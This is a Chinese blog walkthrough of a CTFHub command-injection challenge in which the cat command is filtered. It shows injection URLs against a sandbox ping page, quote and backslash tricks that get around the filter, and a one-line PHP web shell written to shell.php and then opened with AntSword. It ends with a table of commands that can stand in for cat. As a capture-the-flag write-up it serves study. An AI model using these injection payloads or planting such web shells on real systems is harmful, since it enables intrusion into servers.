CTFHub | 过滤cat

超、凢脫俗 2024-03-16 19:45 18阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **过滤cat：**
> 
> 过滤了 cat 命令之后，你还有什么方法能读到 Flag ?

![d10d34c3a4f841f5a30186cb7965cb2d.png][] 网页显示内容

#### 0x02 解题过程 ####

**0x1 方法一：命令注入**

**Ⅰ**在目标 IP 输入框中输入 IP 并点击 Ping 按钮， Ping 一下试试。页面正常回显。

![c9d8d9accce248ea95141856cb59dbdb.png][]

**Ⅱ**和前文方法一样，使用管道符执行注入。发现一个 flag 的可疑文件。

![052ede5d17ec4c7fbf84c0dbbe6e33e4.png][]

http://challenge-46d97d2b266146c3.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

**Ⅲ**因为在代码中可以看到，网页对 cat 命令做了过滤处理。那么这题我们无法使用 cat 命令执行注入。当然，在 linux 中还有很多方法可以替代 cat 命令。例如 awk 命令，（详细介绍将在后文做出解释）使用 awk 命令访问 flag 文件夹，和之前的题目一样，网页无回显。检查网页源代码发现此题 flag 。

![78f4dc1b374f4cd6a90cec04a1b05cd5.png][]

http://challenge-46d97d2b266146c3.sandbox.ctfhub.com:10800/?ip=127.0.0.1|awk '{print}' flag_57691538432265.php

**0x2 方法二：连接符**

**Ⅰ**直接使用连接符绕过网页过滤，查看网页源代码发现此题 flag 。

![02763e795c6a479389bbe9045a9e71c8.png][]

[1]. ca''t flag_25860318366859.php
    [2]. ca\t flag_25860318366859.php

**0x3 方法三：构造Payload**

**Ⅰ**直接在搜索框中上传一句话木马。

![bdbd3ec728ec441382e755505213b13b.png][]

127.0.0.1 &echo "<?php @eval(\$_POST['CTFHub']);?>" >> shell.php

**Ⅱ**打开蚁剑测试连通性，可以正常连接。

![3f0d8cc606774550838dd5f1e8a4cadb.png][]

**Ⅲ**检查网页目录，在 flag 目录中发现此题 flag 。

![020b04d946a24e989604030362af2bad.png][]

#### 0x03 过滤方法 ####

除了 cat 命令，在 linux 中还有很多命令可以替代，也为渗透测试提供了很多手法，这里介绍几个常见的命令。

<table> 
 <tbody> 
  <tr> 
   <td style="text-align:center;width:70px;"><strong>命令</strong></td> 
   <td style="width:288px;"><strong>描述</strong></td> 
   <td style="width:331px;"><strong>示例</strong></td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">more</td> 
   <td style="width:288px;">逐屏显示内容，按空格向下翻页，按q退出</td> 
   <td style="width:331px;"> <pre><code>more flag_25860318366859.php</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">less</td> 
   <td style="width:288px;">逐屏显示内容，支持搜索、向前/向后翻页等</td> 
   <td style="width:331px;"> <pre><code>less flag_25860318366859.php</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">head</td> 
   <td style="width:288px;">显示文件的前几行，默认为前10行</td> 
   <td style="width:331px;"> <pre><code>head flag_25860318366859.php</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">tail</td> 
   <td style="width:288px;">显示文件的后几行，默认为最后10行</td> 
   <td style="width:331px;"> <pre><code>tail flag_25860318366859.php</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">tac</td> 
   <td style="width:288px;">反向显示文件内容，即从最后一行开始显示，直到第一行</td> 
   <td style="width:331px;"> <pre><code>tac flag_25860318366859.php</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">nl</td> 
   <td style="width:288px;">给文件添加行号，可以与<code>cat</code>命令结合使用</td> 
   <td style="width:331px;"> <pre><code>cat  flag_25860318366859.php | n1</code></pre> </td> 
  </tr> 
  <tr> 
   <td style="text-align:center;width:70px;">awk</td> 
   <td style="width:288px;">处理文本文件中的数据，并按照指定的格式输出</td> 
   <td style="width:331px;"> <pre><code>awk '{print}' flag_25860318366859.php</code></pre> </td> 
  </tr> 
 </tbody> 
</table>

#### 0x04 参考文献 ####

> \[1\].runoob. Linux 手册\[EB/OL\]. \[2023-06-18\]. https://www.runoob.com/linux/linux-tutorial.html.

#### **0x05 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[d10d34c3a4f841f5a30186cb7965cb2d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/c46f304a53bb4053ab18c52a6398e415.png
[c9d8d9accce248ea95141856cb59dbdb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/ab8a27320b9f4c34be406340f2e60f9a.png
[052ede5d17ec4c7fbf84c0dbbe6e33e4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/553960b70df44ac4a5e188c27339cf5c.png
[78f4dc1b374f4cd6a90cec04a1b05cd5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/11324e533f754f0f82ba3cd54d89d1e4.png
[02763e795c6a479389bbe9045a9e71c8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/e7127649dc0b4f7081b5f7e45e3c6615.png
[bdbd3ec728ec441382e755505213b13b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/fdf86109459848189e524e0c13e04836.png
[3f0d8cc606774550838dd5f1e8a4cadb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/c09aa3b885e54b9c9e8b9e0decd509bf.png
[020b04d946a24e989604030362af2bad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/f9c3f569b87d4fb89ea35542703369a4.png